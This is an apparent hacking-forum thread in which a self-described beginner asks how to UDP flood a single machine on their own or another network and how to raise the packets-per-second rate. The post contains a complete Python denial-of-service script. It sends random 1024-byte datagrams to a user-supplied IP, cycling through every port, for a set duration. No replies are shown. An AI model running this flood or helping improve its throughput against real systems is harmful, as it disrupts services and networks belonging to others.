Forum Thread: How Would I Write a Python DoS Script to UDP Flood a Single Machine on Either a LAN or Other Network?

Hi, I've been a fan of NullByte's How-To's for a long time, and was wondering if there's a way to UDP Flood either a single machine on my wifi network or a machine on another wifi network over port 80 and with python. I have a script designed to send a lot of datagrams to a certain IP over a specified port but I was wondering whether I would need to input the public or private IPs for each circumstance mentioned above, and how to improve the number of packets per second being sent as well as the efficiency of this code. I'm sorry if these are stupid questions as I'm new to both python and hacking. Thank you!

Code:

import random
import sys
import os
import socket
import time

os.system("cls")
port = 1
ip = input("\nenter IP: ")
dur = int(input("\nenter Duration:"))
bytes = os.urandom(1024)
socket = socket.socket(socket.AFINET, socket.SOCKDGRAM)
sent = int(0)
timeout = time.time()+dur
while 1 == 1:
try:
if time.time()>timeout:
sys.exit()
else:
socket.sendto(bytes,(ip, port))
sent = sent+1
if port == 65535:
port = 1
else:
port = port+1
print (sent, ip, port)
except KeyboardInterrupt:
sys.exit()

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

Be the First to Respond

Share Your Thoughts

  • Hot
  • Active